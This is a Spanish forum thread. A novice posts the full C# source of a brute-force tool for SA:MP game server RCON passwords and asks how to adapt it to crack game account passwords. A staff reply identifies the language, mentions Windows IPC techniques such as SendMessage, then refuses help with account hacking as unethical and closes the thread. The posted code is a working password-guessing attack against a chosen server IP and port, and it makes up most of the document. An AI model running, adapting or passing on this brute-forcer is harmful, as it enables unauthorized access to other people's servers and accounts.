elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  Necesito ayuda, soy novato
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Necesito ayuda, soy novato  (Leído 1,936 veces)
Darux

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Necesito ayuda, soy novato
« en: 9 Noviembre 2015, 16:58 pm »

Hola, que tal? Estoy necesitando ayuda en hacer un programa, no creo poder ser muy especifico ya que soy muy novato en programacion de windows, lo unico que tengo como base, era lo que se llamaba Scripting de AMX (El sistema que usan algunos juegos, como por ejemplo, el counter-strike, se usa para crear los mods, y tiene muchas cosas similares a la programacion, pero con diferentes codigos y menos cosas)
Lo que yo necesito es que no me hagan el trabajo, sino que me orienten en el tema de programacion.


Yo lo que quiero hacer es un brute forcer pero no uno cualquiera, la idea de este brute forcer es que trabaje con CMD (No se si soy muy especifico), lo que quiero decir, es que no es una aplicacion con diseño, sino que al abrir el archivo .exe, se abra una ventana CMD pidiendo el tipo de contraseña (Numeros, numeros y letras, letras, etc) y la longitud minima de la misma, pero con una pequeña diferencia, no necesito que trabaje por internet, es decir, que trabaje en alguna pagina o algo, sino que trabaje sobre una aplicacion "X" que tengo en mi pc. A lo que me refiero, que cuando inicie el ataque de fuerza bruta, que cada contraseña que vaya "Escribiendo", la copie y la pegue en determinado pograma que yo asigne en la estructura del brute force (Es decir, que el programa solo funcione para uno que yo especifique).

La base del programa ya la tengo, el problema es que no se en que tipo de lenguaje esta (Si es C, C++, ya que no se a que se refiere con C#) y hay varias cosas que no entiendo y varias que hay que sacar.

La base del programa tiene aproximadamente 850 lineas, pero este programa trabaja para hacer un ataque de fuerza bruta sobre la rcon de un servidor de un juego online, entonces, lo que yo quiero hacer, es sacar toda la parte de la rcon que no me interesa en el programa y ponerle la funcion que cada contraseña que "Escriba", la copie al clipboard y la pegue en otra aplicacion o juego.

El fin de hacer esto, es hackear contraseñas de un juego (Si, parezco idiota buscando esto, pero de paso aprendo a programar).

El programa que tengo, lo consegui, era un archivo .exe que lo abris, te pide la ip del servidor, el host, los caracteres de la contraseña y la longitud, chequea que el puerto y la ip sean correctos y empieza el ataque. Pero tambien vino con un archivo .cs, que lo abri con el visual basic y resultaba ser toda la estructura del programa, y se me ocurrio que a partir de esa base, podria hacer lo mismo pero para cuentas.

Aca dejo unas imagenes del programa como es y el codigo del programa:







Código
  1. //////RCON-Bruter by JokeR, writed in C#, Visual C# 2010 Express
  2. //Thanks to SA:MP Wiki for class to send rcon command
  3. //Usage: rcon_bruter ip port
  4. //Tested on SA:MP 0.3a, 0.3b, 0.3c ALL RELEASES
  5.  
  6. //init
  7. //#define ARGS
  8. using System;
  9. using System.Collections.Generic;
  10. using System.Text;
  11. using System.Linq;
  12. using System.IO;
  13. using System.Net;
  14. using System.Net.Sockets;
  15.  
  16. //class from sa-mp wiki
  17. namespace Query
  18. {
  19.    class RCONQuery
  20.    {
  21.        Socket qSocket;
  22.        IPAddress address;
  23.        int _port = 0;
  24.        string _password = null;
  25.  
  26.        string[] results = new string[50];
  27.        int _count = 0;
  28.  
  29.        public RCONQuery(string IP, int port, string password)
  30.        {
  31.            qSocket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
  32.  
  33.            qSocket.SendTimeout = 1;
  34.            qSocket.ReceiveTimeout = 1;
  35.  
  36.            try
  37.            {
  38.                address = Dns.GetHostAddresses(IP)[0];
  39.            }
  40.  
  41.            catch
  42.            {
  43.  
  44.            }
  45.  
  46.            _port = port;
  47.            _password = password;
  48.        }
  49.  
  50.        public bool Send(string command)
  51.        {
  52.            try
  53.            {
  54.                IPEndPoint endpoint = new IPEndPoint(address, _port);
  55.  
  56.                using (MemoryStream stream = new MemoryStream())
  57.                {
  58.                    using (BinaryWriter writer = new BinaryWriter(stream))
  59.                    {
  60.                        writer.Write("SAMP".ToCharArray());
  61.  
  62.                        string[] SplitIP = address.ToString().Split('.');
  63.  
  64.                        writer.Write(Convert.ToByte(Convert.ToInt32(SplitIP[0])));
  65.                        writer.Write(Convert.ToByte(Convert.ToInt32(SplitIP[1])));
  66.                        writer.Write(Convert.ToByte(Convert.ToInt32(SplitIP[2])));
  67.                        writer.Write(Convert.ToByte(Convert.ToInt32(SplitIP[3])));
  68.  
  69.                        writer.Write((ushort)_port);
  70.  
  71.                        writer.Write('x');
  72.  
  73.                        writer.Write((ushort)_password.Length);
  74.                        writer.Write(_password.ToCharArray());
  75.  
  76.                        writer.Write((ushort)command.Length);
  77.                        writer.Write(command.ToCharArray());
  78.                    }
  79.  
  80.                    if (qSocket.SendTo(stream.ToArray(), endpoint) > 0)
  81.                        return true;
  82.                }
  83.            }
  84.  
  85.            catch
  86.            {
  87.                return false;
  88.            }
  89.  
  90.            return false;
  91.        }
  92.  
  93.        public int Recieve()
  94.        {
  95.            try
  96.            {
  97.                _count = 0;
  98.  
  99.                EndPoint endpoint = new IPEndPoint(address, _port);
  100.  
  101.                byte[] rBuffer = new byte[50];
  102.  
  103.                int count = qSocket.ReceiveFrom(rBuffer, ref endpoint);
  104.  
  105.                _count = count;
  106.  
  107.            }
  108.  
  109.            catch
  110.            {
  111.                return _count;
  112.            }
  113.  
  114.            return _count;
  115.        }
  116.    }
  117. }
  118.  
  119. namespace MainFunc
  120. {
  121.    class Program
  122.    {
  123.        #region Private variables
  124.  
  125.        private static string result;
  126.  
  127.        private static bool isMatched = false;
  128.  
  129.        private static int charactersToTestLength = 0;
  130.        private static long computedKeys = 0;
  131.  
  132.        /*private static char[] charactersToTest =
  133.          {
  134.             'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
  135.             'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
  136.             'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
  137.             'F','G','H','I','J','K','L','M','N','O','P','Q','R',
  138.             'S','T','U','V','W','X','Y','Z','1','2','3','4','5',
  139.             '6','7','8','9','0','!','$','#','@','-','*','&','^',
  140.             '%','~','`','[',']','|','/','"',':',';',':','?','>',
  141.             ',','.','(',')','_','-','+','=','\\'
  142.         };*/
  143.  
  144.        /*private static char[] charactersToTest =
  145.          {
  146.             '1','2','3','4','5',
  147.             '6','7','8','9','0',
  148.         };*/
  149.  
  150.        #endregion
  151.  
  152.        static void Main(string[] args)
  153.        {
  154.            //print welcome informations
  155.            Console.WriteLine("RCON Bruter by JokeR for SA:MP, ver 0.1d-3");
  156.            Console.WriteLine("Tested on SA:MP 0.3a, 0.3b, 0.3c [ALL RELEASES]");
  157.            Console.WriteLine("Cracking is very slow due to limits in SA:MP 0.3");
  158.            Console.WriteLine("");
  159.            #if (ARGS)
  160.                if (args.Length == 0)
  161.                {
  162.                    Console.WriteLine("USAGE: rcon_brute [ip] [port] [charset type] [password lenght]");
  163.                    Console.WriteLine("Charsets: 1 - All chars, 2 - Numbers, 3 - Letters, 4 - Special chars (e.g. *&%), 5 - Numbers&Letters, 6 - Letters&Special, 7 - Numbers&Special");
  164.                    Environment.Exit(1);
  165.                }
  166.            #endif
  167.  
  168.  
  169.            #if (ARGS)
  170.                string ip = args[0];
  171.                int port = Int32.Parse(args[1]);
  172.                int charset = Int32.Parse(args[2]);
  173.            #else
  174.                Console.WriteLine("Enter target IP/HostName: ");
  175.                string ip = Console.ReadLine();
  176.                Console.WriteLine("Enter target port: ");
  177.                int port = Int32.Parse(Console.ReadLine());
  178.                Console.WriteLine("Select charset type: ");
  179.                Console.WriteLine("Charsets: 1 - All chars, 2 - Numbers, 3 - Letters, 4 - Special chars (e.g. *&%), 5 - Numbers&Letters, 6 - Letters&Special, 7 - Numbers&Special");
  180.                int charset = Int32.Parse(Console.ReadLine());
  181.                Console.WriteLine("Enter password lenght (cracking will start with this lenght, type 1 to normal mode): ");
  182.                int count = Int32.Parse(Console.ReadLine());
  183.            #endif
  184.  
  185.  
  186.            if (charset == 1) //all chars
  187.            {
  188.                char[] charactersToTest =
  189.                {
  190.                    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
  191.                    'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
  192.                    'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
  193.                    'F','G','H','I','J','K','L','M','N','O','P','Q','R',
  194.                    'S','T','U','V','W','X','Y','Z','1','2','3','4','5',
  195.                    '6','7','8','9','0','!','$','#','@','-','*','&','^',
  196.                    '%','~','`','[',']','|','/','"',':',';',':','?','>',
  197.                    ',','.','(',')','_','-','+','=','\\'
  198.                };
  199.                //start bruter
  200.                var timeStarted = DateTime.Now;
  201.                Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port);
  202.  
  203.                charactersToTestLength = charactersToTest.Length;
  204.  
  205.                var estimatedPasswordLength = count-1;
  206.  
  207.                while (!isMatched)
  208.                {
  209.                    estimatedPasswordLength++;
  210.                    startBruteForce(estimatedPasswordLength, ip, port, charset);
  211.                }
  212.  
  213.                Console.WriteLine("Password matched: {0}", DateTime.Now.ToString());
  214.                Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds);
  215.                Console.WriteLine("Resolved password: {0}", result);
  216.                Console.WriteLine("Computed keys: {0}", computedKeys);
  217.                Console.ReadLine();
  218.            }
  219.            if (charset == 2) //numbers
  220.            {
  221.                char[] charactersToTest =
  222.                {
  223.                    '1','2','3','4','5','6','7','8','9','0'
  224.                };
  225.                //start bruter
  226.                var timeStarted = DateTime.Now;
  227.                Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port);
  228.  
  229.                charactersToTestLength = charactersToTest.Length;
  230.  
  231.                var estimatedPasswordLength = count - 1;
  232.  
  233.                while (!isMatched)
  234.                {
  235.                    estimatedPasswordLength++;
  236.                    startBruteForce(estimatedPasswordLength, ip, port, charset);
  237.                }
  238.  
  239.                Console.WriteLine("Password matched: {0}", DateTime.Now.ToString());
  240.                Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds);
  241.                Console.WriteLine("Resolved password: {0}", result);
  242.                Console.WriteLine("Computed keys: {0}", computedKeys);
  243.                Console.ReadLine();
  244.            }
  245.            if (charset == 3) //letters
  246.            {
  247.                char[] charactersToTest =
  248.                {
  249.                    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
  250.                    'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
  251.                    'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
  252.                    'F','G','H','I','J','K','L','M','N','O','P','Q','R',
  253.                    'S','T','U','V','W','X','Y','Z',
  254.                };
  255.                //start bruter
  256.                var timeStarted = DateTime.Now;
  257.                Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port);
  258.  
  259.                charactersToTestLength = charactersToTest.Length;
  260.  
  261.                var estimatedPasswordLength = count - 1;
  262.  
  263.                while (!isMatched)
  264.                {
  265.                    estimatedPasswordLength++;
  266.                    startBruteForce(estimatedPasswordLength, ip, port, charset);
  267.                }
  268.  
  269.                Console.WriteLine("Password matched: {0}", DateTime.Now.ToString());
  270.                Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds);
  271.                Console.WriteLine("Resolved password: {0}", result);
  272.                Console.WriteLine("Computed keys: {0}", computedKeys);
  273.                Console.ReadLine();
  274.            }
  275.            if (charset == 4) //special
  276.            {
  277.                char[] charactersToTest =
  278.                {
  279.                    '!','$','#','@','-','*','&','^',
  280.                    '%','~','`','[',']','|','/','"',':',';',':','?','>',
  281.                    ',','.','(',')','_','-','+','=','\\'
  282.                };
  283.                //start bruter
  284.                var timeStarted = DateTime.Now;
  285.                Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port);
  286.  
  287.                charactersToTestLength = charactersToTest.Length;
  288.  
  289.                var estimatedPasswordLength = count - 1;
  290.  
  291.                while (!isMatched)
  292.                {
  293.                    estimatedPasswordLength++;
  294.                    startBruteForce(estimatedPasswordLength, ip, port, charset);
  295.                }
  296.  
  297.                Console.WriteLine("Password matched: {0}", DateTime.Now.ToString());
  298.                Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds);
  299.                Console.WriteLine("Resolved password: {0}", result);
  300.                Console.WriteLine("Computed keys: {0}", computedKeys);
  301.                Console.ReadLine();
  302.            }
  303.            if (charset == 5) //numbers&letters
  304.            {
  305.                char[] charactersToTest =
  306.                {
  307.                    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
  308.                    'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
  309.                    'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
  310.                    'F','G','H','I','J','K','L','M','N','O','P','Q','R',
  311.                    'S','T','U','V','W','X','Y','Z','1','2','3','4','5',
  312.                    '6','7','8','9','0'
  313.                };
  314.                //start bruter
  315.                var timeStarted = DateTime.Now;
  316.                Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port);
  317.  
  318.                charactersToTestLength = charactersToTest.Length;
  319.  
  320.                var estimatedPasswordLength = count - 1;
  321.  
  322.                while (!isMatched)
  323.                {
  324.                    estimatedPasswordLength++;
  325.                    startBruteForce(estimatedPasswordLength, ip, port, charset);
  326.                }
  327.  
  328.                Console.WriteLine("Password matched: {0}", DateTime.Now.ToString());
  329.                Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds);
  330.                Console.WriteLine("Resolved password: {0}", result);
  331.                Console.WriteLine("Computed keys: {0}", computedKeys);
  332.                Console.ReadLine();
  333.            }
  334.            if (charset == 6) //letters&special
  335.            {
  336.                char[] charactersToTest =
  337.                {
  338.                    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
  339.                    'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
  340.                    'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
  341.                    'F','G','H','I','J','K','L','M','N','O','P','Q','R',
  342.                    'S','T','U','V','W','X','Y','Z','!','$','#','@','-',
  343.                    '*','&','^','%','~','`','[',']','|','/','"',':',';',
  344.                    ':','?','>',',','.','(',')','_','-','+','=','\\'
  345.                };
  346.                //start bruter
  347.                var timeStarted = DateTime.Now;
  348.                Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port);
  349.  
  350.                charactersToTestLength = charactersToTest.Length;
  351.  
  352.                var estimatedPasswordLength = count - 1;
  353.  
  354.                while (!isMatched)
  355.                {
  356.                    estimatedPasswordLength++;
  357.                    startBruteForce(estimatedPasswordLength, ip, port, charset);
  358.                }
  359.  
  360.                Console.WriteLine("Password matched: {0}", DateTime.Now.ToString());
  361.                Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds);
  362.                Console.WriteLine("Resolved password: {0}", result);
  363.                Console.WriteLine("Computed keys: {0}", computedKeys);
  364.                Console.ReadLine();
  365.            }
  366.            if (charset == 7) //numbers&special
  367.            {
  368.                char[] charactersToTest =
  369.                {
  370.                    '1','2','3','4','5','6','7','8','9','0','!','$','#',
  371.                    '@','-','*','&','^','%','~','`','[',']','|','/','"',
  372.                    ':',';',':','?','>',',','.','(',')','_','-','+','=','\\'
  373.                };
  374.                //start bruter
  375.                var timeStarted = DateTime.Now;
  376.                Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port);
  377.  
  378.                charactersToTestLength = charactersToTest.Length;
  379.  
  380.                var estimatedPasswordLength = count - 1;
  381.  
  382.                while (!isMatched)
  383.                {
  384.                    estimatedPasswordLength++;
  385.                    startBruteForce(estimatedPasswordLength, ip, port, charset);
  386.                }
  387.  
  388.                Console.WriteLine("Password matched: {0}", DateTime.Now.ToString());
  389.                Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds);
  390.                Console.WriteLine("Resolved password: {0}", result);
  391.                Console.WriteLine("Computed keys: {0}", computedKeys);
  392.                Console.ReadLine();
  393.            }
  394.        }
  395.  
  396.        #region Private methods
  397.  
  398.        private static void startBruteForce(int keyLength, string ip, int port, int charset)
  399.        {
  400.            if (charset == 1) //all chars
  401.            {
  402.                char[] charactersToTest =
  403.                {
  404.                    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
  405.                    'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
  406.                    'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
  407.                    'F','G','H','I','J','K','L','M','N','O','P','Q','R',
  408.                    'S','T','U','V','W','X','Y','Z','1','2','3','4','5',
  409.                    '6','7','8','9','0','!','$','#','@','-','*','&','^',
  410.                    '%','~','`','[',']','|','/','"',':',';',':','?','>',
  411.                    ',','.','(',')','_','-','+','=','\\'
  412.                };
  413.                var keyChars = createCharArray(keyLength, charactersToTest[0]);
  414.                var indexOfLastChar = keyLength - 1;
  415.                createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port,charset);
  416.            }
  417.            if (charset == 2) //numbers
  418.            {
  419.                char[] charactersToTest =
  420.                {
  421.                    '1','2','3','4','5','6','7','8','9','0'
  422.                };
  423.                var keyChars = createCharArray(keyLength, charactersToTest[0]);
  424.                var indexOfLastChar = keyLength - 1;
  425.                createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, charset);
  426.            }
  427.            if (charset == 3) //letters
  428.            {
  429.                char[] charactersToTest =
  430.                {
  431.                    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
  432.                    'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
  433.                    'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
  434.                    'F','G','H','I','J','K','L','M','N','O','P','Q','R',
  435.                    'S','T','U','V','W','X','Y','Z',
  436.                };
  437.                var keyChars = createCharArray(keyLength, charactersToTest[0]);
  438.                var indexOfLastChar = keyLength - 1;
  439.                createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, charset);
  440.            }
  441.            if (charset == 4) //special
  442.            {
  443.                char[] charactersToTest =
  444.                {
  445.                    '!','$','#','@','-','*','&','^',
  446.                    '%','~','`','[',']','|','/','"',':',';',':','?','>',
  447.                    ',','.','(',')','_','-','+','=','\\'
  448.                };
  449.                var keyChars = createCharArray(keyLength, charactersToTest[0]);
  450.                var indexOfLastChar = keyLength - 1;
  451.                createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, charset);
  452.            }
  453.            if (charset == 5) //numbers&letters
  454.            {
  455.                char[] charactersToTest =
  456.                {
  457.                    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
  458.                    'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
  459.                    'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
  460.                    'F','G','H','I','J','K','L','M','N','O','P','Q','R',
  461.                    'S','T','U','V','W','X','Y','Z','1','2','3','4','5',
  462.                    '6','7','8','9','0'
  463.                };
  464.                var keyChars = createCharArray(keyLength, charactersToTest[0]);
  465.                var indexOfLastChar = keyLength - 1;
  466.                createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, charset);
  467.            }
  468.            if (charset == 6) //letters&special
  469.            {
  470.                char[] charactersToTest =
  471.                {
  472.                    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
  473.                    'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
  474.                    'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
  475.                    'F','G','H','I','J','K','L','M','N','O','P','Q','R',
  476.                    'S','T','U','V','W','X','Y','Z','!','$','#','@','-',
  477.                    '*','&','^','%','~','`','[',']','|','/','"',':',';',
  478.                    ':','?','>',',','.','(',')','_','-','+','=','\\'
  479.                };
  480.                var keyChars = createCharArray(keyLength, charactersToTest[0]);
  481.                var indexOfLastChar = keyLength - 1;
  482.                createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, charset);
  483.            }
  484.            if (charset == 7) //numbers&special
  485.            {
  486.                char[] charactersToTest =
  487.                {
  488.                    '1','2','3','4','5','6','7','8','9','0','!','$','#',
  489.                    '@','-','*','&','^','%','~','`','[',']','|','/','"',
  490.                    ':',';',':','?','>',',','.','(',')','_','-','+','=','\\'
  491.                };
  492.                var keyChars = createCharArray(keyLength, charactersToTest[0]);
  493.                var indexOfLastChar = keyLength - 1;
  494.                createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, charset);
  495.            }
  496.        }
  497.  
  498.        private static char[] createCharArray(int length, char defaultChar)
  499.        {
  500.            return (from c in new char[length] select defaultChar).ToArray();
  501.        }
  502.  
  503.        private static void createNewKey(int currentCharPosition, char[] keyChars, int keyLength, int indexOfLastChar, string ip, int port, int charset)
  504.        {
  505.            if (!isMatched)
  506.            {
  507.                var nextCharPosition = currentCharPosition + 1;
  508.                for (int i = 0; i < charactersToTestLength; i++)
  509.                {
  510.                    if (charset == 1) //all chars
  511.                    {
  512.                        char[] charactersToTest =
  513.                        {
  514.                            'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
  515.                            'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
  516.                            'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
  517.                            'F','G','H','I','J','K','L','M','N','O','P','Q','R',
  518.                            'S','T','U','V','W','X','Y','Z','1','2','3','4','5',
  519.                            '6','7','8','9','0','!','$','#','@','-','*','&','^',
  520.                            '%','~','`','[',']','|','/','"',':',';',':','?','>',
  521.                            ',','.','(',')','_','-','+','=','\\'
  522.                        };
  523.                        keyChars[currentCharPosition] = charactersToTest[i];
  524.                        if (currentCharPosition < indexOfLastChar)
  525.                        {
  526.                            createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, charset);
  527.                        }
  528.                        else
  529.                        {
  530.                            computedKeys++;
  531.                            //check rcon
  532.                            //Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
  533.                            Query.RCONQuery sQuery = new Query.RCONQuery(ip, port, (new String(keyChars)));
  534.                            Console.Write("Checking rcon password: ");
  535.                            Console.Write(new String(keyChars));
  536.                            Console.WriteLine("");
  537.                            if (!sQuery.Send("echo test"))
  538.                            {
  539.                                Console.WriteLine("ERROR: Bad IP/HostName/Port");
  540.                                Environment.Exit(2);
  541.                            }
  542.                            int count = sQuery.Recieve();
  543.                            if (count == 17)
  544.                            {
  545.                                if (!isMatched)
  546.                                {
  547.                                    isMatched = true;
  548.                                    result = new String(keyChars);
  549.                                    Console.WriteLine("*** Success! received package: 17! ***");
  550.                                    Console.WriteLine("");
  551.                                }
  552.                                return;
  553.                            }
  554.                            if (count == 35)
  555.                            {
  556.                                Console.WriteLine("Failed, received package: 35");
  557.                            }
  558.                        }
  559.                    }
  560.                    if (charset == 2) //numbers
  561.                    {
  562.                        char[] charactersToTest =
  563.                        {  
  564.                            '1','2','3','4','5','6','7','8','9','0'
  565.                        };
  566.                        keyChars[currentCharPosition] = charactersToTest[i];
  567.                        if (currentCharPosition < indexOfLastChar)
  568.                        {
  569.                            createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, charset);
  570.                        }
  571.                        else
  572.                        {
  573.                            computedKeys++;
  574.                            //check rcon
  575.                            //Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
  576.                            Query.RCONQuery sQuery = new Query.RCONQuery(ip, port, (new String(keyChars)));
  577.                            Console.Write("Checking rcon password: ");
  578.                            Console.Write(new String(keyChars));
  579.                            Console.WriteLine("");
  580.                            if (!sQuery.Send("echo test"))
  581.                            {
  582.                                Console.WriteLine("ERROR: Bad IP/HostName/Port");
  583.                                Environment.Exit(2);
  584.                            }
  585.                            int count = sQuery.Recieve();
  586.                            if (count == 17)
  587.                            {
  588.                                if (!isMatched)
  589.                                {
  590.                                    isMatched = true;
  591.                                    result = new String(keyChars);
  592.                                    Console.WriteLine("*** Success! received package: 17! ***");
  593.                                    Console.WriteLine("");
  594.                                }
  595.                                return;
  596.                            }
  597.                            if (count == 35)
  598.                            {
  599.                                Console.WriteLine("Failed, received package: 35");
  600.                            }
  601.                        }
  602.                    }
  603.                    if (charset == 3) //letters
  604.                    {
  605.                        char[] charactersToTest =
  606.                        {
  607.                            'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
  608.                            'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
  609.                            'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
  610.  


« Última modificación: 9 Noviembre 2015, 17:53 pm por Eleкtro » En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.885



Ver Perfil
Re: Necesito ayuda, soy novato
« Respuesta #1 en: 9 Noviembre 2015, 17:53 pm »

que trabaje con CMD (No se si soy muy especifico), lo que quiero decir, es que no es una aplicacion con diseño, sino que al abrir el archivo .exe, se abra una ventana CMD

La definición que buscas es CLI, o Command-Line Interface (Interfáz por linea de comandos).



no se en que tipo de lenguaje esta (Si es C, C++, ya que no se a que se refiere con C#) y hay varias cosas que no entiendo y varias que hay que sacar.

No es C ni tampoco C++ ni Visual C++ (VC++), el lenguaje en el que está escrito ese código fuente es C#, también conocido como C-Sharp (por la rejilla #), el cual forma parte de los lenguajes soportados por la plataforma .Net.

Para desarrollar bajo dicho lenguaje, necesitarás una IDE como Visual Studio, habiendo otras alternativas menos importantes e ineficientes que no voy a mencionar.



sacar toda la parte de la rcon que no me interesa en el programa y ponerle la funcion que cada contraseña que "Escriba", la copie al clipboard y la pegue en otra aplicacion o juego.

No puedes hacer eso tan a la ligera. Ese código fuente está ideado para utilizar sockets como método de ataque, por ende, primero debes confirmar si puedes comunicarte mediante sockets con la aplicación a la que deseas lanzar un ataque brute-force.

Hay otras técnicas IPC (Inter-process communication) para comunicarse con otra APP, como por ejemplo los espacios de asignación de memoria compartida, o el framework de automación de .Net ( conocido como Windows UI Automation ), o lo que sería un equivalente minimalista recuerriendo a unas simples llamadas a la API de Windows para asignarle texto a un control mediante la función SendMessage y enviando el mensaje de ventana WM_SETTEXT, lo que sería la opción más corriente y viable para todo tipo de escenarios.



El fin de hacer esto, es hackear contraseñas de un juego (Si, parezco idiota buscando esto, pero de paso aprendo a programar).

El fin no justifica los medios. Así no se aprende a programar, copiando un código aleatorio el cual ni siquiera comprendes en que lenguaje está escrito.

Si quieres aprender a programar, entonces aprende de la manera habitual, y haciéndolo de esta forma, en un punto determinado del aprendizaje llegarás a tener un nivel de conocimiento adecuado para plantearte el desarrollo de este tipo de cosas.

Aquí te podemos ayudar a aprender, pero aquí no te vamos a ayudar a conseguir "hackear cuentas", ya que hay unas reglas en el foro, las cuales deben ser respetadas, y en una de esas reglas se prohibe por completo proporcionar ayuda a cualquier tema no ético o ilegal, como es el caso.

De todas formas, te diré que si pretendes desarrollar un algoritmo brute-force yo no tomaría ese código en C# como ejemplo, como una especie de plantilla o "guía" para principiantes, ya que me llevaría a malas prácticas de programación.
Te aconsejo aprender lo básico de programación, y luego, leer y practicar el asincronismo, el paralelismo y multi-threading en .Net, lo que te llevará a desarrollar algoritmos optimizados, ya que un algoritmo de fuerza bruta debe estar minimamente optimizado.

Tema cerrado

Saludos!


« Última modificación: 9 Noviembre 2015, 18:08 pm por Eleкtro » En línea



Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Soy novato estoy creando un cronjob necesito ayuda
Desarrollo Web
mateo777 9 4,841 Último mensaje 18 Junio 2011, 21:11 pm
por WiseHidden
[BATCH] Soy novato y necesito ayuda con un archivo .bat
Scripting
mmedia 9 4,316 Último mensaje 31 Julio 2012, 15:07 pm
por -- KiLiaN --
Pasense por este post soy novato y necesito ayuda,
Programación C/C++
Redjack7 1 1,638 Último mensaje 20 Noviembre 2015, 17:11 pm
por 0xFer
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines